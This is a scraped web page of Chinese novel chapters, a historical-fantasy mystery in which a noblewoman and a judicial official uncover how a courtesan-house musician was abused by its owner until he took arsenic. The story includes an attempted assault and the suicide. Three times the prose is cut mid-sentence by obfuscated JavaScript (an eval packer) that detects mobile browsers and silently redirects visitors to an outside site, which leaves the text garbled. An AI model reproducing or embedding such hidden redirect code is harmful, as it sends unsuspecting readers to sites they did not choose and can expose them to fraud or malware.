“纳兰卿突遭此变故,实在让人痛心,元小姐的心情我能理解。不过斯人已逝,生者却还要向前看的,这家的阳羡春芽在京城属上乘,元小姐不如先尝尝看。” 方才还是一副忧心不已的模样,现在却如此闲适,元和景感觉此人没那么简单,便不去管那茶杯,直言道:“若是魏公子叫我来只是为品茶的话,那就不必了,我还有事先行一步。” “元小姐莫急……”见她真要起身,魏棹总算切入正题,“纳兰卿作为南风馆里的清倌,偏偏生了副惹人喜爱的好样貌,有多少官老爷明里暗里对他趋之若鹜,仅凭他自己的本事,如何能在这泥潭里明哲保身呢?” 魏棹语气里带着似有若无的叹息,元和景有些不明白他的意思,只得试探着问:“你是说,有人暗中保护纳兰公子?” “说保护或许不太贴切。”魏棹慢悠悠地抿了口茶,“哪有人肯当吃力不讨好的冤大头呢?不过各取所需罢了。” 纳兰卿很小的时候便成了孤儿,无权无势无财,若说别人想从他那里图谋些什么,最有可能的便是琴技、容貌……或是身体。 可元和景不愿往那方面想,因为纳兰卿当初立誓只卖艺不卖身,即使有一锭银子摆在眼前,别人递来的酒他也从来没接过。他说虽然赚得少,但来得清白,用得也安心。 魏棹说得如此暧昧,无非是想让元和景往不堪的方向猜。她看不惯也最讨厌这些弯弯绕绕,厉声道:“你把话说清楚!” 魏棹怎会看不出她的着急,垂眸轻笑了下,声音放柔:“南风馆的老板柳淑兰,丈夫死得早,膝下也无儿女,平日里没什么爱好,倒是往我隔壁房间跑得勤。夜深人静的时候,动静还闹得有些大。” 能在这里被提及,想必这“隔壁房间”指的谁,就不言而喻了。 元和景瞪大了眼睛,满脸的不可置信,明明自称是纳兰卿的朋友,却能说出这般意味不明的话,他现在这副模样,和那些爱嚼舌根的闲话人又有何区别? 木桌被用力拍响,连带着上面的茶盏都震了两下,元和景努力维持着表面的冷静,手心却控制不住地微微发颤,她道:“那你可知道,他们都具体干了什么?” 魏棹掩面低笑起来,似乎觉得这问题是天大的笑话:“我并不在现场,怎能知内情如何。不过孤男寡女共处一室,又是在咱们赫赫有名的南风馆里,还能干些什么呢?” “既然你不知道……”元和景终于忍不住站起身来,咬牙切齿地一字一顿道,“那便不要乱说!” “无论实情如何,纳兰公子的品行我自有考量,还轮不到你在这里污蔑诽谤。但你要是敢继续造谣生事,本小姐绝不会放过你!” 说罢,元和景就要离开,魏棹被这么骂了一顿,脸上顿时有些挂不住。但他此行并非是要惹怒元和景,于是连忙去拦她,好声好气地道:“我也是伤心过了头,这才口不择言起来。” “元小姐大人有大量,就原谅我这一次。” 元和景深深地吸了口气,也懒得再做些表面功夫,冷冰冰地说:“今日便说到这里,魏公子请自便。” 话里的告辞之意已经再明显不过,元和景本不欲再和他纠缠,没想到手突然被人从后面拽住,她条件反射般用力甩开,就听见魏棹道:“纳兰卿八成是活不了了。” 元和景转身就要反驳,却发现魏棹不知何时已换了副表情,五官扭曲,眼底透出一种近乎野兽的疯狂,一步步朝着她靠近。 “元姑娘要是喜欢纳兰卿那样的,不妨来养我。我也可以是纳兰卿,你想让我考科举我就去考,你想让我穿白衣服我就穿……” 语气里的谄媚和偏执让人不寒而栗,魏棹越说越激动。元和景下意识连连后退,对方却紧追不舍:“而且我能比纳兰卿做得更好,他自诩高洁不卖身,但我愿意!我愿意把一切都献给你,求你把我包养了吧!” 说到最后,他几乎浑身发起抖来,元和景顿时汗毛直竖,面前这个根本就不是人,而是疯子! “你别过来!”元和景努力保持镇定,用尽全身力气大喝道,“首先,我和纳兰公子不是你想的那种关系,而且我对于养面首这件事也没兴趣,你若是再如此,我就要报官了。” 魏棹像是被这些话唤回几分神智,肩膀一松,垂头丧气得像个落水狗,不甘心地喃喃道:“凭什么……” “你们这些有钱人被他吃得死死的,柳淑兰那个老妖婆也抬高赎金不让他走,凭什么他这么好命啊?” 话中的几个关键词没能逃过元和景的耳朵,她神色一凛,这才明白为何纳兰卿迟迟未能凑齐赎金,而破案的关键,想必就在于此。 元和景当机立断决定去大理寺,转身开门时却发现已被反锁。而魏棹终于露出他的本来面目,扑上来抓住她的衣服连拖带拽地往屋子里拉,嘴里还热切地道:“说得再多也无用,你不如来试试,我技术真的很好,保证你欲罢不能……” “放开……你放开我!” 元和景手脚并用地挣扎起来,抬脚就不管不顾地往他下三路踹,只听得一声闷哼,手上的力道立马松了不少。 走门不成就走窗,元和景心里这么想着,脚下三步作两步地往有光亮的地方跑。魏棹很快反应过来,伸手去抓却是抓了个空,只能眼睁睁看着对方灵巧地爬上窗台一跃而下。 身体完全被流窜不止的风包裹住时,元和景才后知后觉地反应过来:自己不会轻功,而这里是三楼啊!!! “啊啊啊——” 失重的感觉让她忍不住闭上眼睛,腰间却陡然传来暖意,身体随即像是有了依托,坠落的速度明显慢下许多。 元和景猛地睁开眼睛往身侧看,目光触及那黛青色的扇面时心头一喜,出口的声音还带着破音后的嘶哑:“姐!” “是我。”元纪宁吐字简短,仅用半边身子掌握住平衡,带着她滑翔一般在空中划出弧线,而后双脚点地,落而无声。 元和景好不容易把发软的双腿捋直,惊魂未定地道:“你怎么来了?” “听下人说你最近在为纳兰公子的案子忙碌,正好府上的账目已算清,我便想着来帮帮忙。下轿时听见有人喊叫,轻功赶来才发现是你,到底发生了什么?” 甫一见到亲人,刚才的委屈和害怕突然就有了出口,元和景不禁鼻头发酸,但脑子里还记得有更重要的事,于是她忍住泪意正色道:“现在一时半会说不清楚,你能先送我去大理寺吗?我有线索要告诉祝长生。” “走。” 担心魏棹会追来,元和景几乎是小跑着过去,还好一路上有惊无险。到大理寺时已近傍晚,正好碰见的贺均说少卿此时在档房,她便风风火火地又往那边赶。 也顾不上对方还在看卷宗,元和景推门而入后把南风馆老板蓄意抬高赎金的事说了,祝长生虽被吓得不轻,但也很快明白过来,沉声应了句“我已知晓”,紧接着就吩咐人传唤柳淑兰。 天色昏暗,大堂里点燃了烛火,主位上坐着祝长生,旁侧的云青单手执笔严阵以待,明灭的光线跳跃在每个人身上,却唯独将柳淑兰的脸衬得越发苍白。 “昨日提审时,你亲口说自己与纳兰卿只是上下属关系,但南风馆有人称你和纳兰卿私交甚笃,还刻意抬高赎金以作挽留,可有此事?” 若加上齐竟那回,元和景也算第二次见祝长生审人,虽无怒意但自带威严,平日素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957004|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来温和的眉眼间满是肃然,隐隐透出几分英气。声音不比元纪辛浑厚,震慑人心的力量却是丝毫未缺,好像天生就适合坐在这样的位置上,任何阴谋诡计都逃不过他的眼。 分明知道现在这具身体里的是狐妖胡拾,可她竟忽然觉得,若祝长生本人在这里,也该是这一般光景了。 所以说,只要能惩恶扬善、护一方安定,是祝长生还是胡拾,又有何所谓呢? 回过神时,柳淑兰已经跪在地上抖若筛糠,但她也算是经过大风大浪的人,很快就平静下来,振振有词地道:“我和他的确是上下属关系,可私交甚笃这话就说得不对了,那小白脸仗着自己有点姿色,三天两头地叫我去他房间……“ “少卿大人可评评理,这种一厢情愿的事,能叫私交吗?” “你胡说!”元和景只觉得怒火“噌”地往脑袋上冒,明明纳兰卿是这案子里最大的受害者,身边一个二个的人却都往他身上泼脏水。她一心想为纳兰卿辩个明白,却被身侧的周子萧扯住袖子制止。 顺着对方暗示意味明显的目光看去,元和景这才看见祝长生正冷静开口:“医馆的检查报告已出,再加上现场确实未找出多余痕迹,纳兰卿确为自杀。” “但他刚通过童试,又急于赎身,又怎会自投死路?如果抬高赎金一事为真,你作为主谋自当难辞其咎!” “除此之外,按我朝律法,恶意捏造事实中伤他人者罚三十大板,以及白银五十两。”说着,祝长生语气一转,压低的声音里带着极强压迫感,“所以……还望柳老板谨言慎行。” 这些话一出,柳淑兰再也维持不住镇定,连忙磕头道歉:“大人饶命啊,我不是这个意思,是我主动去找他的,都是我……” 等她再抬头是,额间已是红彤彤一片,皱着眉满脸愁苦地道:“可这赎金一事本就该如此,纳兰卿十岁就被卖进了南风馆,我好吃好喝供他十几年,现在好不容易养大了能赚钱了,他却拍拍屁股要走人,我的损失找谁赔去啊我?” 纳兰卿从始至终面色未改,沉着地道:“赎金如何当遵从律令,若超出规定,那便是违法。蓄意抬价致人寻死更是罪加一等,柳淑兰,你还有什么话说?” “我呸!”柳淑兰像是被逼得急了,竟当堂破口大骂起来,“他这种出来卖的货色,装什么清高?指不定背地里浪成啥样……您那位新婚夫人啊,恐怕就是他的大主顾咯。” “大胆,休要胡言!” 祝长生将桌面重重一拍,站起身来指着柳淑兰的鼻子怒声道:“本官给过你机会,既然你敬酒不吃吃罚酒,就休怪本官无情,来人啊——” “把柳淑兰给我拖下去,罚她三十大板,案情明日再审。” 一旁的周子萧和贺均连忙抱拳:“是。” 不知怎么忽然成为了风暴中心,元和景本人还没反应过来,就见柳淑兰被两人拖拽着往出走。而主位上的祝长生单手撑着桌面,胸口起伏不止,俨然是气急了的样子。 偏偏这柳淑兰是个爱逞嘴上功夫的,如此境况下还不肯消停:“贱骨头就是贱骨头,穷地方出来的还想考科举,跟那造孽的柳扶摇一个德行,都死得活该……” 尖利刺耳的声音逐渐消失,大堂内总算安静下来,元和景还在想着如何开口安抚,一个人影陡然从门外跃进来,虽说披着纳兰卿的壳子,但定是胡陆不错。 元和景刚打算问你怎么来了,又一个黑影足尖轻点跨过门槛,十一淡定地对元和景解释:“他说人命关天。” 胡陆道:“他的魂魄突发异动,应是离消散不久了。” 元和景心头猛地一跳,忙问:“怎么回事?” 胡陆难得露出几分严肃,吐字简短:“说不清楚,你自己来看。” 说着,他便拉住元和景的胳膊用力一拽。脚下突如其来的趔趄让她本能地伸出另一只手去抓,正好抓住一截触感微凉的袖子,难以控制的失重感拖着两人直直朝黑暗坠去。 16. 刻骨之痛 幸好这感觉没有持续太久,待脚下落到实处时,元和景连忙扭头看,果然不出所料,方才还威风凛凛立于高位的大理寺少卿,就这么被她一把拽下来了。 不过祝长生本人对此倒无甚在意,已经开始细细打量周遭环境,元和景于是也朝身侧看去,下一瞬就惊讶地道:“这里不是……南风馆吗?” 更准确些说,是纳兰卿的房间。 自从和纳兰卿结识后,元和景来这的次数没有十次也有八次,所以绝不会认错。说完,她下意识去看祝长生,却得到对方耐人寻味的一眼。 那其中有警惕、有无奈,还有几分莫名的埋怨。 元和景自知理亏,立马闭嘴了。 她也是刚想到,两人还未正式和离,当着自己名义上的夫君表现出对其他男子房间的熟悉,好像的确不太合适。 “狐族善魇术,可投射人心中执念,此处应是纳兰卿的所思所想。” 冷冷淡淡地解释完这句,祝长生便不再说话,而是将目光投至元和景身后。她回头一看,窗边的书案上,有一男子背对两人坐得端正,脊骨如青竹般傲然挺立,莹白如玉的指尖刚好捻着书页缓缓翻过。 而就在对面,穿鹅黄色交襟束袖衣裙的少女单手支头,放在书桌上的手则有一搭没一搭地研着墨,闲适又懒散。 这场景元和景也已经历过许多次,毕竟纳兰卿平日的生活十分简单,忙则做事,闲则看书。她来看望时也不会打扰,就在旁边陪他说说话,或者随便帮点什么忙。 当初觉得再普通不过的事,现在竟成了再见一面的机会,元和景还有些不敢相信,走上前试探着去碰,却在触及纳兰卿肩头时径直穿透过去。 “怎么会……” 元和景不可置信地看着毫无实感的指尖,喃喃道。 “这只是幻境,而非真实。”祝长生将她那只空落落的手握住,在冰凉的皮肉间煨出暖意,“无须沉溺。” 元和景怔怔地朝来人看去,而旁边的纳兰卿却在此时突然有了动作,他放下书,道:“若是累了便休息会。” 桌对面的元和景顺势将墨条放下,慢吞吞地打了个哈欠后才开口:“是有点累,不过你不累吗?书都看好大一半了。” 纳兰卿很慢地摇了摇头,将倒好的茶水放在元和景面前,声音温和:“读书须勤学用功,如此便要喊累,日后又怎能当大任?” 说着,他又将书拿了起来,幻境中的元和景端起茶杯抿了好几口,又歪头去看窗外长势正好的石榴树,密匝深绿中铺开点点的红,光是瞧着就叫人欣喜不已。 元和景只是自顾自看得开心,唇角无意勾起一点弧度,却不知道在写满圣贤名篇的书页后,有一双目光也很轻地落在了她身上。 许是受到感染一般,那张向来淡漠的脸上露出并不明显的笑意,像暗自蛰伏了整个冬天,却只肯在春日里露头的枝头新芽,清清浅浅,却生动如此,也明媚如此。 火红热烈的石榴花尽收入眼,可元和景不知道,她现下也正是别人眼中的风景。 那时的元和景当局者迷,可现在的她却能看得一清二楚。也正因为如此,她才感觉心里像是有什么坚定已久的东西轰然倒塌了—— 元和景承认自己对纳兰公子有欣赏,或许其中还掺杂着怜惜,但男女之情,却是自始至终从未想过的。 心烦意乱时,背后突然一阵发寒,元和景冷不丁打了个哆嗦,扭头看去,那位端方威严的大理寺少卿正双手抱胸、面无表情地盯着她,就差把“解释一下”几个字写脸上了。 “呃,哈哈哈……”元和景自己还想找人解释呢,又哪里能跟他说出所以然来,只能十分生硬地转移话题,“你看纳兰公子,多么勤奋多么努力啊……是吧?” 未免对方接不上话,她还在话末丢出个问题,但祝长生显然不是爱给人面子的性格,非但不发一言,就这么让她的话掉地上,甚至脸看起来更黑了。 元和景被盯得头皮发麻,悻悻地收了笑,干脆缩着脑袋装起鹌鹑来。虽然她有底气说自己跟纳兰公子是清白的,可现在证据都摆在眼前了,她光凭一张嘴倒显得有些苍白无力,还不如什么也不说。 眼前忽地一暗,她忙不迭抬头看,却见窗外暮色浓重,竟是眨眼间夜已深了。 纳兰卿依然坐于原位温书,桌上点的灯是屋内为数不多的光源,浓郁的明黄色只拢住周围的一小片地方,越往周围便越黯淡,到角落里就只剩下密不透风的黑。 若再说有什么不同之处,就是幻境里的元和景也已经不在了。 屋内一片安静,外面却还有时不时的说笑声,想来现下正是南风馆客人最多的时候,形形色色的人聚集在一处,热闹时连吵架互殴的都不在少数,纳兰卿想有一片清净地方读书又谈何容易? 但即便如此,他依然看得很专心,像是周遭一切都不存在似的。元和景正在心里感叹他意志力之坚定,不速之客却来得突然,门被人毫不客气地推开,一个醉醺醺的中年男人不由分说便往里闯。 纳兰卿先是飞快将书藏到桌下,而后一脸戒备地看着对方,冷声道:“客人,你走错地方了。” “没、没走错。”应是屋里灯光太暗的缘故,那人先是伸长脖子眯着眼打量好一会,待看清后才猥琐地笑起来,“小美人儿,哥哥请你喝酒……” 纳兰卿闻言眉头皱起,道:“不必了,想找人喝酒你应去一楼大厅,这里不欢迎你。” 那张布满酒气的脸上逐渐出现不耐烦的神色,元和景一开始还担心他直接对纳兰卿动手,可这人捏着酒壶又灌了一大口,然后扯着嗓子开始大喊:“柳淑兰、柳老婆子……死哪去了?” 就这么不管不顾地嚎了会,总算把本尊给叫过来。彼时的柳淑兰还不是大理寺里那副狼狈落魄的样子,一身颜色鲜亮的衣裳,颈间和手腕上的首饰光看便知道价值不菲,面容虽不敌岁月,却也是风韵犹存,能称得起一声半老徐娘。 “哎哟吴老板,又是哪个不听话的招惹你了啊?” “叫他跟我喝酒……”那男人重心不稳地摇晃两下,刚站稳又打了个大大的酒嗝,边说还边把酒壶往纳兰卿那边递,摆出一副他不喝就誓不罢休的架势。 另一边的纳兰卿脸色已经差到极点,柳淑兰先恶狠狠地瞪了他一眼,然后边拍着那酒鬼的背边安抚道:“今天陪酒的不是魏棹吗?他可能喝不少呢,我带你去包厢,咱们跟他啊,喝个痛快!” “不……不行。” 男人突然用尽全力一甩,将柳淑兰推开好远,就在不远处观看这一切的元和景差点被波及,她下意识连连后退,走出几步才想起来他们是碰不到自己的。 可这醒悟终究还是迟了些,后背已经贴上某个坚实而微暖的事物,元和景扬起下巴朝上看,正对上祝长生微垂下来瞧她的眼。 “嘿嘿。”元和景很是刻意地笑了两声,刚打算拉开距离,前方传来的暴喝却吓得她浑身一激灵,注意力放过去时也再不顾上调整这点不足挂齿的距离。 “喝!我就要他跟我喝!本大爷还使……使唤不动你了不成。” 那人嚷嚷着就要去拽纳兰卿,而后者下意识抬手抵挡,却不知为何没控制好力气,竟将对方推了个趔趄。 酒壶“啪”一声掉到地上摔得粉碎。浓郁的酒香迅速蔓延开来,其余两人像是被这阵仗吓住了,霎时间无一人说话,屋内就这样陷入突兀的安静中。 元和景心头猛跳,顿时觉得大事不妙。而柳淑兰凶狠的视线很快朝纳兰卿投来,紧接着就是声音响亮的一耳光,身量高大的男人就这么生生被打弯了腰。 “简直欺人太甚!” 元和景恨恨说着,撸起袖子就打算冲上去算账,幸好祝长生拉得及时。他面上还算镇定,只是眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957005|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱得很紧,道:“此时动手已无益,切莫冲动。” 是啊,现在所见都是已经发生了的事,且不说元和景现在连他们碰都碰不到,就算能触碰,又能改变什么呢? 急火攻心下连手臂都在发抖,元和景连做了两个深呼吸,才愤愤不平地把手放回去。 而另一边,柳淑兰还在好声好气地安抚那酒鬼,不仅把纳兰卿在他面前骂了个遍,还赔上两壶酒,这才将人半扶半背地带走了。 打杂的将人搀扶住走到半路,突然又得了柳淑兰的一声吩咐,她音调平平,却压抑着山雨欲来的风暴:“把门关上。” 伴着“吱呀”的动静,两扇门隔绝外面大部分声音。柳淑兰啐了口唾沫,再抬头时,眼底已是一片阴翳。 莫说是其他,连此时身为局外人的元和景都感觉到了不妙。纳兰卿还勉强维持着冷静,只是半边脸已经高高肿起,五个指印清晰可见,他道:“今日轮到我休息,况且我本就不陪酒,方才只是意外。” “呵……意外。”柳淑兰冷笑一声,扬手就又是一耳光,“连客人你都敢打,还真是把自己当回事了是不是?” 纳兰卿被打得猝不及防,竟是身子一歪径直撞到书案上,茶杯里的水尽数洒出,将旁边木匣子下压的白纸打湿个透,纳兰卿连忙要去抢救,却被柳淑兰先夺过去撕了个粉碎。 “好啊,原来还做着你那科举梦呢,真是死不要脸,也不撒泡尿照照自己是什么德行……” 杂乱无章的撕纸声充斥整个屋子,纳兰卿还想伸手抢夺,柳淑兰却变本加厉扯得更烂更碎,最后,用了大半的力气抬手,将白花花的废纸劈头盖脸朝他砸去。 纸片纷纷扬扬,好似寒冬腊月里的鹅毛大雪,颓然而无情地浇了纳兰卿满头……可众所周知,六月怎么会飞雪呢? 柳淑兰做完这些还不解气,很是眼尖地发现桌子下的阴影里有东西,捡起来后才看见封面上写着“尚书”二字。 她虽不了解科举,却也知道这是那些穷酸书生爱看的东西。纳兰卿见状再也稳不住心绪,不顾一切地扑上去夺,柳淑兰下意识抬手抵挡,那本刚被翻开的书也就顺势被扯成了两半。 线缝的接处本就脆弱,扯断后便是再无用处,所有书页如飞沙般泼了满地,乱七八糟地堆在一处,像是大街上随处飘落的枯叶,伶仃而绝望。 纳兰卿盯着那满地狼藉,浑身像是被抽去了所有力气般轰然倒下,空洞的眼底看不出一丝情绪,墨色瞳孔里倒映出最后一张白纸的飘落轨迹,他木然地伸手想要接住,可只是抓了个空。 “就凭你这贱东西还想当官,你看看哪个大老爷是妓院里出来的啊?别以为攀上元家三小姐就了不起了,老娘今天告诉你,狗就是狗……” 说着,她毫不留情地一脚朝着纳兰卿的肩胛踹去,咬牙切齿道:“折腾一辈子,你也就是条狗!” 打也打过骂也骂过,柳淑兰总算是消了些气,没过多久便离开了。木门被摔得震天响,带来的风将几张碎纸徒劳地吹起,打了个弯后又无力落下。 而纳兰卿自被踹翻后就再也没动过,颓然地倒在这一片废墟里,惨白的衣袍好似要和这堆纸融成一体。 元和景把牙关咬得嘎吱响,胸膛不甘心地重重起伏着,道:“这个柳淑兰,我一定要杀了她!” “柳淑兰自会受到律法制裁。”祝长生漠然地发话,分明听起来冰冷极了,元和景竟从这之中感到几分慰藉,她再也压制不住眼眶里的泪水。 满心的愤懑化作眼泪滑落,是为纳兰卿的悲惨过往,也是为看到这一切而无能为力的自己。 不知过去多久,废纸之间的纳兰卿终于又有了动作,他僵硬而缓慢地撑起身体,像一个了无生气的木偶,只是机械地将书页捡起,又捡起…… 没人记得他捡了多少,又捡了多久,唯有抖动的肩头无声诉说着他的哀怨。 17. 泪尽魂销 还未等元和景从悲愤中缓过神,熟悉而短暂的黑暗再度袭来,眼前恢复清明时,房间里又成了纳兰卿端坐于桌前看书的画面。 元和景吸了吸鼻子,瓮声瓮气地问:“怎么回事啊?” “幻境中所现,皆是本人记忆最深刻之事,故而前后并无直接联系。”祝长生一边说,一边将叠得方正的手帕递过去,“不过,我们离纳兰卿身死的真相,应该也接近了。” 元和景从善如流地接过手帕擦泪,用完后才发现奇怪。这方帕子一角绣了朵青莲,粗略看来并无特别,但针脚却很是粗糙了些,若哪家铺子敢把这样的拿出来卖,怕是要被骂得狗血淋头。 但该说不说,这和她早些时候的刺绣水平倒十分相似。 元和景正打算问,幻境中的纳兰卿先有了动作。他读书时向来专心,今晚却不知为何浮躁得很,好几次看着看着就失了神,面上也是一副心事重重的样子。 于是她只能暂且按捺下其他,专心去看那边的情况。不过多时,纳兰卿异常的源头便显山露水,原因无他,打扮依然花枝招展的柳淑兰推门进来了。 方才的气还没消,元和景忍不住抱怨:“她怎么又来找纳兰公子的麻烦?” 祝长生没去挑这话里的纰漏,只是颇为无奈地看了她一眼,淡淡道:“看过再说。” 且不说刚才是纳兰卿拒酒在先,这次的柳淑兰更是开口就把前因道来:“大状元竟然主动找我,还真是稀奇。” 语气里的阴阳怪气丝毫不加掩饰,像这种扭得山路十八弯的腔调,也只有柳淑兰才能说得出来了。 纳兰卿虽然脸色极差,但并不打算反驳,而是开门见山:“我已问过宋荷,她因入赵府为妾而赎身,赎金为八十两。可我并非是此原因,为何赎金比她高上近两倍?” 果然,魏棹所说不假,天价赎金一事便是柳淑兰在背后捣鬼。元和景扭头去看祝长生,两道视线正好在空中相撞,后者只是很轻地“嗯”了一声,含义已不言而喻。 另一边的柳淑兰虽是在被质问,但姿态上丝毫没有落入下风的样子,她双臂抱胸,没好气地道:“宋荷是什么时候来的,你又是什么时候?我供你吃喝这么多年,哪一处不花钱?收你一百五十两都是便宜你了。” “你这是强词夺理!”纳兰卿愤然起身,“即便我十五岁便被卖给了你,但也并未白吃白喝。刚来时你说我年纪小,我就跟着他们洗碗打杂,弱冠后我又顶了琴师的位置,卖酒时也未曾含糊,这些大家都有目共睹。” 纳兰卿小时候也算是读过书的,自然能懂得这其中的弯弯绕绕,不像其他那些大字不识一个的好糊弄,也更不好控制。 柳淑兰也想到了这点,面上逐渐显出几分不耐烦来,声音也变得尖利:“你还记得自己是被那个没本事的娘卖给我的啊!要不是我当初大发慈悲收留你,你还能活到今天……” “你连这条命都是我的,我收你些赎金又怎么了?反正说了一百五十两,就是一百五十两,少一分你就别想从南风馆走!” “你……”纳兰卿气得浑身发抖,眼底似有火光跳跃。元和景从来没见过这个样子的纳兰卿,可她也不得不承认,或许这才是他最真实的模样。 明明是整天过着苦日子的人,到底要废多大的力气,才能在面对自己时笑得那样温柔呢? 纳兰卿闭着眼深吸了几口气,再睁开时视线中总算恢复些许清明,他终于下定某种决心,对柳淑兰道:“擅自改价有违我朝律法,你就不怕我去县衙告你?” “哼……告我?”柳淑兰闻言不气反笑,“你要是有这个本事,就去告啊,看看当官的能不能相信你那一面之词。” 纳兰卿把牙关咬得很紧,唇角上下抖动了好几次,像是压抑着极大的痛苦。半晌,他才从怀里缓缓掏出一样事物,沉重地道:“我现在只有一百两,你若是不要,就什么也别想得到!” 说着,他把手里的东西举到半空让柳淑兰看,元和景也连忙定睛去瞧,只见那只是个外表平平无奇的小纸包,但再结合后来发生的事,她心里突然有了不好的猜测—— “这里面该不会是……” “没错。”元和景还未说完,祝长生就好像已经知道了她的意思,“就是砒霜。” 如此看来,眼下发生的,正是纳兰卿向元和景借钱当晚的事。可她不明白,自己明明已经答应会借给他,为什么纳兰卿还要这么做? “一百两,打发叫花子呢?” 柳淑兰显然没把那纸包放在心上,不依不饶地道:“还是那句话,少一分都别想走。再说了,那将军府的元小姐不是你姘头吗,没钱怎么不知道找她要?” 这句话像是触了纳兰卿的逆鳞,他声嘶力竭地怒吼道:“你休要污蔑她!” “哦……我懂了,莫不是人家嫌弃你一穷二白,只是想跟你玩玩?毕竟人现在可是高高在上的少卿夫人,哪能看得上你这种货色。你要是识相点,还不如去巴结张老板,他可是惦记你好久了。” 猝不及防地被点到名,元和景有些无措地眨眨眼,可她现在心里只是彻头彻尾地感到荒谬,感到愤怒—— 所有人都觉得纳兰卿是傍上了她,可只有元和景自己知道,除那次借钱外,他从未主动向自己提及过此事。送他的名贵礼物没有一次收过,只有笔墨纸砚不至于被退回,可即便是收了,日后也会以珠钗糕点之类的还回她这里来。 贪污受贿的官员在高堂上受尽尊敬,分文不欠的平头百姓却被人戳着脊梁骨骂,这究竟是谁定的规矩,所谓的公理人权又在何处? “我说了……不许污蔑她!” 纳兰卿手里的纸包已被捏得发皱,这句话几乎是被用全力喊了出来,可沙哑万分的嗓子却让其成了一声含义不明的怒吼。他佝偻着身子,泪水沾着发丝糊在脸上,红血丝如蛛网般爬满眼球,狰狞扭曲的五官中再不见那位执卷读书的翩翩公子。 而造成这一切的柳淑兰还好端端地立在原地,面若桃花,衣衫整洁。也许是觉得再说下去也无甚意思,她很是轻蔑地冷笑了声,道:“你想这么死皮赖脸,我也没办法。没工夫再跟你费口舌,总之一百五十两,拿不出来就老实呆着。” 说完她就打算离开,纳兰卿却在此时大喝出声:“慢着。” 这声音太过干脆,和刚才的悲怆截然不同,像是带上了孤注一掷的决心,让元和景心里没来由地一阵恐慌。 果然,在柳淑兰骂骂咧咧地转过身时,他道:“要么用一百两让我赎身,要么我就死在你面前。” 柳淑兰皱起眉头,嫌恶地道:“寻死觅活这一套在我……” 话及一半,她却是不说了,因为纳兰卿当着她的面将那个小纸包拆开,里面正是些磨得细腻的白色粉末。 “怎么……拿些面粉就想糊弄我,以为我是傻子吗?” 柳淑兰这么说着,表情却露出几分迟疑,显然是既不想就这么被纳兰卿拿捏,但又无法确定,他是不是真的会做出如此极端之事。 纳兰卿则是已然打定主意,语气也变得坚定起来:“是不是面粉你一尝便知,今日你若不同意我赎身,我便将这个吞下去,你一个铜板也拿不到。” 柳淑兰经营南风馆这么多年,形形色色的人都见过,有些人为达目的什么办法都想得出来,嘴上说得惊天动地,实则尽搞些哄人的把戏。而现在,她自然而然地把纳兰卿也看成了这种人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957006|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也是胆子大了,连我都敢威胁,不知道姑奶奶我是吓大的吗?有本事你就把这玩意往嘴里倒,一点都别剩,我还怕了你不成?” 她越说越有底气,最后几乎是指着纳兰卿的鼻子骂:“有娘生没娘养的东西,死了正好!到地下去让你那早死的爹教教你做人的道理,来我南风馆还想装什么贞洁烈男……想走?你门儿都没有,明天老老实实去给我接客。” 在这里提及的接客,定然就不是卖酒弹琴这么简单的意思。纳兰卿脸色顿时变得煞白,身子支撑不住地晃了晃,绝望痛苦的神色在脸上一闪而过,然后,他便三两下将纸包撕开了。 “别……” 元和景的惊呼只落到一半,她眼疾手快地飞扑过去抢夺,可只是硬生生地从纳兰卿身上穿透过去,然后摔倒在冰冷坚硬的地面上。 再回头看时,撕开的纸包晃晃悠悠地飘荡在空中,里面已无一物。 紧接着,便是重物落地的沉闷声响。 男人的身躯正好倒在元和景身前,足以让她将那张逐渐失去生气的脸看得一清二楚。 而那双仍然倔强睁开的眼中,晶莹而滚烫的泪接连滑落,最后在鼻尖聚成欲落不落的一滴。 “纳兰公子……” 元和景全然顾不上这里是幻境,连忙起身去扶他,可指尖始终无法触碰到,只能一次又一次地从他身体上传过去,什么也无法留下。 手臂传来坚实可靠的拉力,元和景任凭自己被扯进一个怀抱。祝长生嗓子有些哑,语气沉重得像是压了块石头,他道:“柳淑兰,死罪难逃。” 后面再发生的事情并不难猜,柳淑兰见他是动真格的,登时被吓得六神无主,反应过来后还不忘翻箱倒柜找出纳兰卿藏在床缝的钱财,然后趁外面没人时猫着腰溜走了。 接下来便是清晨时分,从窗口跃进来的胡陆发现了尸体,正检查时,元和景便推门而入了。 熟悉的黑暗再次袭来,这次要比以往几次都要长些,元和景本以为是幻境结束了,可等周遭恢复光线时,两人竟还在南风馆内。 